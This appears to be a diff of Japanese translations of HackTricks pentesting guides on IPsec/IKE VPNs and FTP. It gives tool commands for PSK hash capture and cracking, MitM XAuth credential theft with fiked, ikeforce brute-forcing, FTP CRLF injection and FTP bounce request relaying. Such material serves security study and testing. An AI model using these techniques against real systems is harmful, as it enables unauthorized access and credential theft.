(書籍**ネットワークセキュリティアセスメント:ネットワークを知る**よりVPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットを平文で取得することが可能です (書籍**ネットワークセキュリティアセスメント:ネットワークを知る**よりVPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットを平文で送信するため、有効なユーザー名を取得することも可能です。
![](<../.gitbook/assets/image (111).png>) ![](<../.gitbook/assets/image (111).png>)
## ハッシュのキャプチャとクラック ## ハッシュのキャプチャとクラック
最後に、**有効な変換**と**グループ名**が見つかり、**アグレッシブモードが許可されている**場合、簡単にクラック可能なハッシュを取得できます 最後に、**有効な変換**と**グループ名**が見つかり、**アグレッシブモードが許可されている**場合、簡単にクラック可能なハッシュを取得できます
```bash ```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
``` ```
ハッシュは_hash.txt_内に保存されます。 ハッシュは_hash.txt_内に保存されます。
ハッシュを**クラック**するために**psk-crack**、**john**[**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用)および**hashcat**を使用できます。 **psk-crack**、**john**[**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用)および**hashcat**を使用してハッシュを**クラック**することができます:
```bash ```bash
psk-crack -d <Wordlist_path> psk.txt psk-crack -d <Wordlist_path> psk.txt
``` ```
## **XAuth** ## **XAuth**
**アグレッシブモードIKE** は、**事前共有キーPSK**と組み合わせて、**グループ認証**の目的で一般的に使用されます。この方法は、**拡張認証XAuth** によって補完され、追加の **ユーザー認証** のレイヤーを導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または類似のシステムを利用します。 **アグレッシブモードIKE** は、**事前共有キーPSK**と組み合わせて、**グループ認証**の目的で一般的に使用されます。この方法は、**拡張認証XAuthExtended Authentication** によって補完され、追加の **ユーザー認証** のレイヤーを導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または類似のシステムを利用します。
**IKEv2** に移行すると、ユーザーの認証の目的で **XAuth** の代わりに **EAP拡張認証プロトコル** が使用されることがあります。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を示しています。 **IKEv2** に移行すると、ユーザーの認証のために **XAuth** の代わりに **EAPExtensible Authentication Protocol** が使用される傾向が見られます。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を示しています。
### ローカルネットワークのMitMによる資格情報のキャプチャ ### ローカルネットワークのMitMによる資格情報のキャプチャ
したがって、_fiked_ を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できますIKEトラフィックを `fiked` にリダイレクトしてスニッフィングする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細はこちら](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。 したがって、_fiked_ を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できますIKEトラフィックをスニッフィングするために `fiked` にリダイレクトする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細はこちら](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。
```bash ```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d fiked -g <IP> -k testgroup:secretkey -l output.txt -d
``` ```
### MitM攻撃を行い、すべてのトラフィックをポート500にブロックし、IPSecトンネルを確立できない場合、トラフィックがクリアで送信される可能性があります。 ### MitM攻撃を行い、すべてのトラフィックをポート500にブロックし、IPSecトンネルを確立できない場合、トラフィックはクリアテキストで送信される可能性があります。
### ikeforceを使用してXAUTHのユーザー名とパスワードをブルートフォースする ### ikeforceを使用してXAUTHのユーザー名とパスワードをブルートフォースする
@ -212,15 +213,15 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```bash ```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1] ./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
``` ```
This way, ikeforce will try to connect using each combination of username:password. この方法では、ikeforce はユーザー名:パスワードの各組み合わせを使用して接続を試みます。
If you found one or several valid transforms just use them like in the previous steps. 1つ以上の有効なトランスフォームが見つかった場合は、前の手順と同様にそれらを使用してください。
## IPSEC VPNでの認証 ## IPSEC VPN での認証
Kaliでは、IPsecトンネルを確立するために**VPNC**が利用されます。**プロファイル**は`/etc/vpnc/`ディレクトリに配置する必要があります。これらのプロファイルは、_**vpnc**_コマンドを使用して開始できます。 Kali では、IPsec トンネルを確立するために **VPNC** が利用されます。**プロファイル** `/etc/vpnc/` ディレクトリに配置する必要があります。これらのプロファイルは _**vpnc**_ コマンドを使用して開始できます。
以下のコマンドと設定は、VPNCを使用してVPN接続を設定するプロセスを示しています 以下のコマンドと設定は、VPNC を使用して VPN 接続を設定するプロセスを示しています
```bash ```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP] IPSec gateway [VPN_GATEWAY_IP]
@ -234,14 +235,13 @@ root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])... VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0 root@system:~# ifconfig tun0
``` ```
```markdown ## 設定:
このセットアップでは:
- `[VPN_GATEWAY_IP]` を VPN ゲートウェイの実際の IP アドレスに置き換えます。 - `[VPN_GATEWAY_IP]` を VPN ゲートウェイの実際の IP アドレスに置き換えます。
- `[VPN_CONNECTION_ID]` を VPN 接続の識別子に置き換えます。 - `[VPN_CONNECTION_ID]` を VPN 接続の識別子に置き換えます。
- `[VPN_GROUP_SECRET]` を VPN のグループシークレットに置き換えます。 - `[VPN_GROUP_SECRET]` を VPN のグループシークレットに置き換えます。
- `[VPN_USERNAME]``[VPN_PASSWORD]` を VPN 認証資格情報に置き換えます。 - `[VPN_USERNAME]``[VPN_PASSWORD]` を VPN 認証資格情報に置き換えます。
- `vpnc` が開始されると割り当てられるプロセス ID を `[PID]` が象徴しています - `vpnc` が開始されるときに割り当てられるプロセス ID を示す `[PID]`
VPN を構成する際には、プレースホルダーを実際で安全な値で置き換えることを確認してください。 VPN を構成する際には、プレースホルダーを実際で安全な値で置き換えることを確認してください。
@ -258,21 +258,20 @@ VPN を構成する際には、プレースホルダーを実際で安全な値
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks: HackTricks をサポートする他の方法:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
</details> </details>
```

View file

@ -4,17 +4,17 @@
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@
## 基本情報 ## 基本情報
**ファイル転送プロトコルFTP**は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルとして機能します。\ **ファイル転送プロトコルFTP**は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルとして機能します。\
**プレーンテキスト**プロトコルであり、**改行文字 `0x0d 0x0a`** を使用するため、**`telnet`**または**`nc -C`**を使用して接続する必要があることがあります。 **プレーンテキスト**プロトコルであり、**改行文字 `0x0d 0x0a`** を使用するため、**`telnet`**または**`nc -C`**を使用して接続する必要があることがあります。
**デフォルトポート:** 21 **デフォルトポート:** 21
@ -32,11 +32,11 @@ PORT STATE SERVICE
``` ```
### 接続のアクティブとパッシブ ### 接続のアクティブとパッシブ
**アクティブFTP**では、FTP **クライアント**は最初に制御**接続**をポートNからFTPサーバーのコマンドポートポート21に**イニシエート**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、**ポートMからFTPクライアントのポートN+1**にデータ**接続**を**イニシエート**します。 **アクティブFTP**では、FTP **クライアント**は最初に制御**接続**をポートNからFTPサーバーのコマンドポートポート21に**イニシエート**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を、**そのポートMからFTPクライアントのポートN+1**に**イニシエート**します。
ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォールが設定されている場合、アクティブFTPは問題になる可能性があります。そのための実現可能な解決策はパッシブFTPです。 ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォール設定がある場合、アクティブFTPは問題になる可能性があります。そのための実用的な解決策はパッシブFTPです。
**パッシブFTP**では、クライアントは制御接続をポートNからFTPサーバーのポート21に**イニシエート**します。その後、クライアントは**passvコマンド**を発行します。サーバーはクライアントに自身のポート番号Mの1つを送信します。そして、**クライアント**は**自身のポートPからFTPサーバーのポートM**にデータ**接続**を**イニシエート**します。 **パッシブFTP**では、クライアントは制御接続をポートNからFTPサーバーのポート21に**イニシエート**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自身のポート番号Mの1つを送信します。そして、**クライアント**はデータ**接続**を、**そのポートPからFTPサーバーのポートM**に**イニシエート**します。
ソース: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) ソース: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -46,7 +46,7 @@ PORT STATE SERVICE
## 列挙 ## 列挙
### バナー取得 ### バナーラボ取得
```bash ```bash
nc -vn <IP> 21 nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
@ -123,7 +123,7 @@ ftp <IP>
### Automated ### Automated
匿名ログインとバウンスFTPチェックは、nmapが**-sC**オプションまたはデフォルトで実行します。 匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションまたはデフォルトで実行されます。
```bash ```bash
nmap --script ftp-* -p 21 <ip> nmap --script ftp-* -p 21 <ip>
``` ```
@ -133,14 +133,14 @@ FTPサーバーには、Firefoxなどのブラウザを使用して次のよう
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
注意してください、**webアプリケーション**がユーザーによって制御されたデータを**直接FTPサーバーに送信**している場合、ダブルURLエンコード`%0d%0a`ダブルURLエンコードでは`%250d%250a`)バイトを送信して**FTPサーバーに任意のアクションを実行**させることができます。これらの可能な任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービスhttpと通信を試みることです。 注意してください、**webアプリケーション**がユーザーによって制御されたデータを**直接FTPサーバーに送信**している場合、ダブルURLエンコード`%0d%0a`ダブルURLエンコードでは`%250d%250a`)バイトを送信して**FTPサーバーに任意のアクションを実行**させることができます。これらの可能な任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービスhttpと通信しようとすることです。
## FTPからすべてのファイルをダウンロード ## FTPからすべてのファイルをダウンロード
```bash ```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
``` ```
もしユーザー名/パスワードに特殊文字が含まれている場合、[次のコマンド](https://stackoverflow.com/a/113900/13647948) を使用できます: ユーザー名/パスワードに特殊文字が含まれている場合、[次のコマンド](https://stackoverflow.com/a/113900/13647948) を使用できます:
```bash ```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
``` ```
@ -148,37 +148,37 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER ユーザー名`** - **`USER ユーザー名`**
- **`PASS パスワード`** - **`PASS パスワード`**
- **`HELP`** サーバーはサポートされているコマンドを示す - **`HELP`** サーバーはサポートされているコマンドを示しま
- \*\*`PORT 127,0,0,1,0,80`\*\* これによりFTPサーバーがIP 127.0.0.1のポート80に接続するよう指示されます第5文字を "0" とし、第6文字を10進数のポートにするか、第5文字と第6文字を使用して16進数でポートを表現します)。 - \*\*`PORT 127,0,0,1,0,80`\*\*これによりFTPサーバーがIP 127.0.0.1のポート80に接続を確立するよう指示されます5番目の文字を "0" とし、6番目を10進数でポートを表すか、ポートを16進数で表すために5番目と6番目を使用します)。
- \*\*`EPRT |2|127.0.0.1|80|`\*\* これによりFTPサーバーがIP 127.0.0.1のポート80にTCP接続"2"で示される)を確立するよう指示されます。このコマンドは**IPv6をサポート**しています。 - \*\*`EPRT |2|127.0.0.1|80|`\*\*これによりFTPサーバーがIP 127.0.0.1のポート80にTCP接続"2"で示される)を確立するよう指示されます。このコマンドは**IPv6をサポート**しています。
- **`LIST`** これにより現在のフォルダ内のファイルのリストが送信されます - **`LIST`** これにより現在のフォルダ内のファイルのリストが送信されます
- **`LIST -R`** 再帰的にリストします(サーバーが許可する場合) - **`LIST -R`** 再帰的にリストします(サーバーが許可する場合)
- **`APPE /path/something.txt`** これによりFTPが**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示されます。ファイル名が存在する場合、データが追加されます。 - **`APPE /path/something.txt`** これによりFTPが**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示されます。ファイル名が存在する場合、データが追加されます。
- **`STOR /path/something.txt`** `APPE`と同様ですが、ファイルを上書きします - **`STOR /path/something.txt`** `APPE`と同様ですが、ファイルを上書きします
- **`STOU /path/something.txt`** `APPE`と同様ですが、存在する場合は何もしません。 - **`STOU /path/something.txt`** `APPE`と同様ですが、存在する場合は何もしません。
- **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を介して指定されたファイルを送信します - **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を介して指定されたファイルを送信します
- **`REST 6`** これにより、次回`RETR`を使用して何かを送信するときに、サーバーに6番目のバイトから開始するように指示されます。 - **`REST 6`** これにより、次回`RETR`を使用して何かを送信するに、サーバーに6番目のバイトから開始するように指示されます。
- **`TYPE i`** 転送をバイナリに設定します - **`TYPE i`** 転送をバイナリに設定します
- **`PASV`** これによりパッシブ接続が開かれ、ユーザーが接続できる場所が示されます - **`PASV`** これによりパッシブ接続が開かれ、ユーザーが接続できる場所が示されます
- **`PUT /tmp/file.txt`** 指定されたファイルをFTPにアップロードします - **`PUT /tmp/file.txt`** 指定されたファイルをFTPにアップロードします
![](<../../.gitbook/assets/image (227).png>) ![](<../../.gitbook/assets/image (227).png>)
## FTPBounce攻撃 ## FTPBounce攻撃
一部のFTPサーバーは`PORT`コマンドを許可します。このコマンドを使用して、FTPサーバーにホストのどのポートが開いているかをスキャンすることができます。 一部のFTPサーバーは`PORT`コマンドを許可しています。このコマンドを使用して、FTPサーバーにホストのどのポートが開いているかをスキャンすることができます。
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学びます。**](ftp-bounce-attack.md) [**ここでFTPサーバーを悪用してポートをスキャンする方法を学んでください。**](ftp-bounce-attack.md)
また、この動作を悪用してFTPサーバーを他のプロトコルとやり取りさせることもできます。HTTPリクエストを含むファイルをアップロードし、脆弱なFTPサーバーにそれを任意のHTTPサーバーに送信させたり_新しい管理者ユーザーを追加するために_、FTPリクエストをアップロードし、脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせたりできます。\ また、この動作を悪用してFTPサーバーを他のプロトコルとやり取りさせることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーにそれを**任意のHTTPサーバーに送信させる**_おそらく新しい管理者ユーザーを追加するために_、FTPリクエストをアップロードし、脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせることができます。\
理論は簡単です: 理論は簡単です:
1. **(テキストファイル内に)リクエストを脆弱なサーバーにアップロードします。** 別のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があります 1. **(テキストファイル内に)リクエストを脆弱なサーバーにアップロードします。** 別のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があります
2. **送信したくない文字を送信しないようにするために`REST X`を使用します**たとえば、リクエストをファイル内にアップロードするために、最初に画像ヘッダーを追加する必要があるかもしれません) 2. **送信したくない文字を送信しないようにするために`REST X`を使用します**おそらくリクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを配置する必要があるかもしれません)
3. **任意のサーバーとサービスに接続するために`PORT`を使用します** 3. **任意のサーバーとサービスに接続するために`PORT`を使用します**
4. **保存されたリクエストをサーバーに送信するために`RETR`を使用します** 4. **保存されたリクエストをサーバーに送信するために`RETR`を使用します**
これはおそらく**「Socket not writable」のようなエラーをスローする可能性が高い**です。**`RETR`でデータを送信するのに十分な接続がない**ためです。これを回避するための提案は次のとおりです: これはおそらく**_Socket not writable_**のようなエラーを発生させる可能性が高いです**_`RETR`でデータを送信するのに十分な接続がないため**。それを回避しようとする提案は次のとおりです:
- HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで同じリクエストを繰り返します**。次のように: - HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで同じリクエストを繰り返します**。次のように:
@ -186,14 +186,14 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
posts.txt posts.txt
{% endfile %} {% endfile %}
- プロトコルに関連する「ジャンク」データでリクエストを埋めますFTPに話しかける場合は、ジャンクコマンドまたは`RETR`命令を繰り返してファイルを取得します) - プロトコルに関連する「ジャンク」データでリクエストを埋めることを試みますFTPに話しかける場合、ジャンクコマンドを使用するか、ファイルを取得するために`RETR`命令を繰り返します)
- リクエストを多くのヌル文字や他の文字で埋めます(行ごとに分割されているかどうか) - リクエストを多くのヌル文字やその他の文字で埋めます(行ごとに分割されているかどうか)
とにかく、ここには[FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようにするためにこれを悪用する古い例](ftp-bounce-download-2oftp-file.md)があります。 とにかく、ここには[FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようにするためにこれを悪用する方法に関する古い例があります。](ftp-bounce-download-2oftp-file.md)
## Filezillaサーバーの脆弱性 ## Filezillaサーバーの脆弱性
**FileZilla**は通常、**FileZilla-Server**ポート14147**ローカル**管理サービスに**バインド**されます。自分のマシンからこのポートにアクセスするための**トンネル**を作成できれば、**空のパスワード**で**接続**し、FTPサービスのために**新しいユーザー**を**作成**できます。 **FileZilla**は通常、**FileZilla-Server**ポート14147ための**ローカル**の**管理サービス**に**バインド**されます。あなたのマシンからこのポートにアクセスするための**トンネル**を作成できれば、**空のパスワード**を使用して**それに接続**し、FTPサービスのために**新しいユーザー**を**作成**することができます。
## 設定ファイル ## 設定ファイル
``` ```
@ -209,7 +209,7 @@ vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここに
- `anonymous_enable=YES` - `anonymous_enable=YES`
- `anon_upload_enable=YES` - `anon_upload_enable=YES`
- `anon_mkdir_write_enable=YES` - `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - 匿名ディレクトリ - `anon_root=/home/username/ftp` - 匿名ユーザーのディレクトリ
- `chown_uploads=YES` - 匿名でアップロードされたファイルの所有権を変更 - `chown_uploads=YES` - 匿名でアップロードされたファイルの所有権を変更
- `chown_username=username` - 匿名でアップロードされたファイルの所有権を与えられるユーザー - `chown_username=username` - 匿名でアップロードされたファイルの所有権を与えられるユーザー
- `local_enable=YES` - ローカルユーザーのログインを有効にする - `local_enable=YES` - ローカルユーザーのログインを有効にする
@ -225,7 +225,7 @@ vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここに
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -287,10 +287,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -1,20 +1,20 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**する。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**する。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください - **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
</details> </details>
